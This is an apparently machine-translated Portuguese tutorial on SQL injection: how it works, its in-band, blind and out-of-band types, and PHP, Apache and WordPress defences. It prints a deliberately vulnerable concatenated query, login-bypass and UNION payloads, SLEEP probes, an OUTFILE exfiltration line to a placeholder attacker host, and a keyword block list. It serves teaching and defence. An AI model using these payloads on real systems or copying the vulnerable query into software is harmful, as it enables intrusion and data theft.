SQL (Structured Query Language) é uma linguagem que nos permite interagir com bases de dados. As aplicações web modernas utilizam bases de dados para gerir dados e apresentar conteúdos dinâmicos aos leitores.
Injeção de SQL, ou SQLi, é um ataque a uma aplicação web ao comprometer a sua base de dados através de instruções SQL maliciosas.
Como é um ataque comum, vamos tentar aprender mais sobre o que é, como acontece, e como se defender dele.
Pronto? Vamos mergulhar!
O que é Injeção de SQL?
Injeção de SQL, ou SQLi, é um tipo de ataque a uma aplicação web que permite a um atacante inserir instruções SQL maliciosas na aplicação web, potencialmente ganhando acesso a dados sensíveis no banco de dados ou destruindo esses dados.
Nas duas décadas desde sua descoberta, a injeção SQL tem sido consistentemente a principal prioridade dos desenvolvedores web ao projetar aplicativos.
O Barclaycard estimou em 2012 que 97% das quebras de dados se iniciam com um ataque de injeção SQL. Uma injeção SQL é prevalente ainda hoje e a gravidade dos ataques de injeção em uma aplicação web é amplamente reconhecida. É um dos dez maiores riscos de segurança de aplicações web mais críticos da OWASP.
Como Funciona a Vulnerabilidade da Injeção SQL?
Uma vulnerabilidade de injeção SQL dá a um atacante acesso completo ao banco de dados da sua aplicação através do uso de instruções SQL maliciosas.
Nesta seção, nós compartilhamos um exemplo de como uma aplicação vulnerável se parece.
Imagine o fluxo de trabalho de uma aplicação web típica que envolve solicitações de banco de dados através de entradas do usuário. Você leva a entrada do usuário através de um formulário, por exemplo, um formulário de login. Em seguida, você consulta seu banco de dados com os campos enviados pelo usuário para autenticá-los. A estrutura da consulta à sua base de dados é algo parecido com isto:
select * from user_table
where username = 'sdaityari'
and password = 'mypassword';
Para simplificar, vamos assumir que você está armazenando suas senhas como texto claro. É, no entanto, uma boa prática salgar as suas senhas e depois apressá-las. Continuando, se você recebeu o nome de usuário e a senha do formulário, você pode definir a consulta no PHP da seguinte forma:
// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute query
Se alguém introduzir o valor “admin’;-” no campo nome de utilizador, a consulta SQL resultante que a variável $db_query gera será a seguinte:
select * from user_table where
username = 'admin';--' and password = 'mypassword'
O que faz esta consulta?
Um comentário em SQL começa com traços duplos (–). A consulta resultante filtra somente pelo nome de usuário sem levar em conta a senha. Se não houvesse segurança para evitar isso, você simplesmente teria acesso administrativo à aplicação web apenas usando este truque.
Alternativamente, um ataque booleano também pode ser usado neste exemplo para obter acesso. Se um atacante entrar “password’ ou 1=1;-” no campo password, a consulta resultante seria a seguinte:
select * from user_table where
username = 'admin' and
password = 'password' or 1=1;--';
Neste caso, mesmo que sua senha esteja errada, você seria autenticado na aplicação. Se a sua página web exibir os resultados da consulta da base de dados, um atacante pode usar o comando mostrar tabelas, comando para exibir as tabelas na base de dados e, em seguida, seletivamente soltar tabelas, se assim o desejar.

Exploits of a Mom, uma banda desenhada popular do XKCD, mostra a conversa de uma mãe com a escola do seu filho, onde ela perguntou se ela realmente chamou seu filho de “Robert’); DROP TABLE Students; –“.
Tipos de Injeção de SQL
Agora que você conhece os fundamentos da vulnerabilidade de uma injeção SQL, vamos explorar os vários tipos de ataques de injeção SQL e a razão por trás de cada um deles.
Injeção de SQL In-Band
Injeção de SQL In-Band é a forma mais simples de injeção SQL. Neste processo, o atacante é capaz de usar o mesmo canal para inserir o código SQL malicioso na aplicação, bem como reunir os resultados. Vamos discutir duas formas de ataques de injeção SQL na banda:
Ataque Baseado em Erros
Um atacante usa uma técnica de injeção SQL baseada em erro durante as fases iniciais de seu ataque. A idéia por trás de uma injeção SQL baseada em erros é obter mais informações sobre a estrutura do banco de dados e os nomes das tabelas que a aplicação web segue. Por exemplo, uma mensagem de erro pode conter o nome da tabela incluída na consulta e os nomes das colunas da tabela. Estes dados podem então ser usados para criar novos ataques.
Ataque com base na União
Neste método, um atacante que usa o join SQL union para exibir os resultados de uma tabela diferente. Por exemplo, se um atacante estiver em uma página de busca, ele pode anexar os resultados de outra tabela.
select title, link from post_table
where id < 10
union
select username, password
from user_table; --;
Injeção SQL Inferencial (Injeção SQL Cega)
Mesmo que um atacante gere um erro na consulta SQL, a resposta da consulta pode não ser transmitida diretamente para a página web. Nesse caso, o atacante precisa de investigar mais.
Nesta forma de injeção SQL, o atacante envia várias consultas para o banco de dados para avaliar como a aplicação analisa essas respostas. Uma injeção SQL inferencial é às vezes também conhecida como injeção SQL cega. A seguir, veremos dois tipos de injeções SQL inferenciais: injeção SQL booleana e injeção SQL baseada no tempo.
Boolean Attack
Se uma consulta SQL resultar em um erro que não tenha sido tratado internamente na aplicação, a página web resultante pode lançar um erro, carregar uma página em branco, ou carregar parcialmente. Em uma injeção booleana SQL, um atacante avalia quais partes do input de um usuário são vulneráveis a injeções SQL, tentando duas versões diferentes de uma cláusula booleana através do input:
- “… and 1=1”
- “… and 1=2”
Se a aplicação funciona normalmente no primeiro caso mas mostra uma anomalia no segundo caso, indica que a aplicação é vulnerável a um ataque de injeção SQL.
Ataque Baseado no Tempo
Um ataque de injeção SQL baseada no tempo também pode ajudar um atacante a determinar se uma vulnerabilidade está presente em uma aplicação web. Um atacante utiliza uma função pré-definida baseada no tempo do sistema de gerenciamento de banco de dados que é utilizado pela aplicação. Por exemplo, no MySQL, a função sleep() instrui o banco de dados a esperar um certo número de segundos.
select * from comments
WHERE post_id=1-SLEEP(15);
Se tal consulta resultar num atraso, o atacante saberá que é vulnerável.
Injeção de SQL Fora de Banda
Se um atacante é incapaz de reunir os resultados de uma injeção SQL através do mesmo canal. Técnicas de injeção SQL fora da banda podem ser usadas como uma alternativa às técnicas de injeção SQL inferencial.
Normalmente, estas técnicas envolvem o envio de dados da base de dados para uma localização maliciosa à escolha do atacante. Este processo também está altamente dependente das capacidades do sistema de gestão de bases de dados.
Um ataque de injeção SQL fora da banda utiliza uma capacidade de processo de arquivo externo do seu SGBD. No MySQL, as funções LOAD_FILE() e INTO OUTFILE podem ser utilizadas para solicitar ao MySQL que transmita os dados para uma fonte externa. Veja como um atacante pode usar o OUTFILE para enviar os resultados de uma consulta a uma fonte externa:
select * from post_table
into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'
Da mesma forma, a função LOAD_FILE() pode ser usada para ler um arquivo do servidor e exibir seu conteúdo. Uma combinação de LOAD_FILE() e OUTFILE pode ser usada para ler o conteúdo de um arquivo no servidor e depois transmiti-lo para um local diferente.
Como Prevenir Injeções SQL
Até agora, temos explorado as vulnerabilidades de uma aplicação web que pode levar a ataques de injeção SQL. Uma vulnerabilidade de injeção SQL pode ser usada por um atacante para ler, modificar ou mesmo remover o conteúdo do seu banco de dados.
Além disso, também pode permitir a leitura de um arquivo em qualquer local dentro do servidor e a transferência do conteúdo para outro lugar. Nesta seção, nós exploramos várias técnicas para proteger sua aplicação web e site contra ataques de injeção SQL.
Escape User Inputs
Em geral, é uma tarefa difícil determinar se uma string de usuário é maliciosa ou não. Por isso, a melhor maneira de fazer isso é escapar de caracteres especiais na entrada do usuário.
Este processo salva-o de um ataque de injeção SQL. Você pode escapar de uma string antes de construir a consulta no PHP usando a função mysql_escape_string()
. Você também pode escapar de uma string no MySQL usando a função mysqli_real_escape_string()
.
Ao exibir a saída como HTML, você também precisará converter a string para garantir que os caracteres especiais não interfiram com a marcação HTML. Você pode converter caracteres especiais em PHP usando a função htmlspecialchars()
.
Usar Declarações Preparadas
Alternativamente, você pode usar instruções preparadas para evitar injeções SQL. Uma instrução preparada é um modelo de uma consulta SQL, onde você especifica parâmetros em uma etapa posterior para executá-la. Aqui está um exemplo de uma declaração preparada em PHP e MySQLi.
$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));
Outras Verificações de Higiene para Prevenir Ataques SQL
O próximo passo para mitigar esta vulnerabilidade é limitar o acesso à base de dados apenas ao que é necessário.
Por exemplo, conecte sua aplicação web ao SGBD usando um usuário específico, que tem acesso apenas à base de dados relevante.
Restringir o acesso do usuário da base de dados a todos os outros locais do servidor. Você também pode desejar bloquear certas palavras-chave SQL no seu URL através do seu servidor web. Se você estiver usando o Apache como um servidor web, você pode usar as seguintes linhas de código no seu arquivo .htaccess para mostrar um erro 403 Proibido a um atacante em potencial.
Você deve ter cuidado antes de usar esta técnica, pois o Apache mostrará um erro ao leitor se o URL contiver estas palavras-chave.
RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]
Como uma dica adicional de prevenção, você deve sempre usar um software atualizado. Quando uma nova versão ou um patch é lançado, os bugs que foram corrigidos na atualização são detalhados nas notas de lançamento. Uma vez que os detalhes de um bug são divulgados ao público, executar uma versão antiga de qualquer software pode ser arriscado.
Injeção SQL no WordPress
Você está seguro contra qualquer vulnerabilidade de injeção SQL se estiver usando arquivos principais atualizados do WordPress. No entanto, quando você usa temas e plugins de terceiros, toda a sua aplicação está em risco.
Seu site WordPress é apenas tão forte quanto seu elo mais fraco. Nesta seção, exploramos as principais considerações para mitigar a vulnerabilidade da injeção SQL no WordPress e como realizar verificações de vulnerabilidade em seu site WordPress existente.
Prevenção de Vulnerabilidades de Injeção SQL para WordPress
Para mitigar a vulnerabilidade da Injeção de SQL em seu tema ou plugin do WordPress, a única regra que você deve seguir é usar sempre as funções existentes do WordPress ao interagir com o banco de dados.
Estas funções são exaustivamente testadas quanto a vulnerabilidades de injeção SQL durante o processo de desenvolvimento do WordPress. Por exemplo, se você gostaria de adicionar um comentário a um post, use a função wp_insert_comment() em vez de inserir dados diretamente na tabela wp_comments.
Embora as funções sejam extensíveis, você pode ocasionalmente precisar executar uma consulta complexa. Nesse caso, certifique-se de utilizar o grupo de funções $wp_db. Você pode usar $wpdb->prepare() para escapar da entrada do usuário antes de criar a consulta.
Além disso, aqui está uma lista de funções para higienizar os dados no WordPress. Estes ajudam-no a escapar de tipos específicos de entradas de usuários, como e-mails e URLs.
Proteja seu site WordPress
Embora o WordPress em si seja seguro, problemas como software principal desatualizado, e plugins nulos podem levar a vulnerabilidades. Embora não haja alternativa para você verificar minuciosamente se o seu site WordPress está vulnerável à injeção SQL, a complexidade de um site pode tornar essa tarefa desafiadora.
Você pode usar uma ferramenta de digitalização on-line como o ThreatPass e o WPScan Vulnerability Database. Você pode auditar seus plugins para ver se o desenvolvimento deles estagnou. Se eles foram abandonados há algum tempo atrás, pode não ser uma boa ideia usá-los no seu site.
Se você ainda precisar absolutamente usá-los, certifique-se de testar completamente o código e a funcionalidade deles em busca de vulnerabilidades. Tirando isto, certifique-se de seguir estas verificações de higiene:
- Atualizar PHP, núcleo do WordPress e MySQL
- Atualizar plug-ins e temas de terceiros
- Evite usar o usuário root para conectar o banco de dados SQL
- Limitar os acessos do usuário SQL a diretórios sensíveis
- Bloqueie palavras-chave SQL usando o seu servidor
- Mantenha os backups do seu site fora do local em caso de danos irreversíveis
Aqui está um post detalhado sobre o WordPress Security e uma lista exaustiva de verificações. Além disso, você pode querer investir nestes plugins de alta segurança para WordPress. Aqui está o que você deve fazer se o seu site WordPress for invadido apesar dos seus melhores esforços.
A Injeção de SQL é ilegal?
Definitivamente, sim! Mesmo havendo uma vulnerabilidade real, um atacante ainda está tentando ter acesso a dados que de outra forma não estariam disponíveis para eles.
Imagine um cenário em que alguém deixa as chaves no carro. Conduzir para longe constitui uma ofensa só porque foi deixado aberto e desacompanhado? O ato de SQLi está sujeito a diferentes leis em vários países. Ela se enquadra no Computer Fraud and Abuse Act (1986) nos EUA, e no Computer Misuse Act (1990) no Reino Unido.
Resumo
Vulnerabilidades de injeção SQL foram descobertas há muito tempo. No entanto, um relatório de 2018 sobre sites hackeados sugere que SQLi é o site hack mais comum para WordPress após ataques XSS. Para evitar que aconteçam, você deveria:
- Entenda como funciona a vulnerabilidade da Injeção de SQL
- Explore várias maneiras pelas quais atacantes podem usar SQLi para obter acesso não autorizado à sua aplicação web
- Implementar métodos para proteger o seu site de ataques SQLi, como escapar de entradas de usuários e usar instruções preparadas
- Siga uma rotina de verificação de segurança
Como diz o velho ditado, “é melhor prevenir do que remediar!”
Deixe uma resposta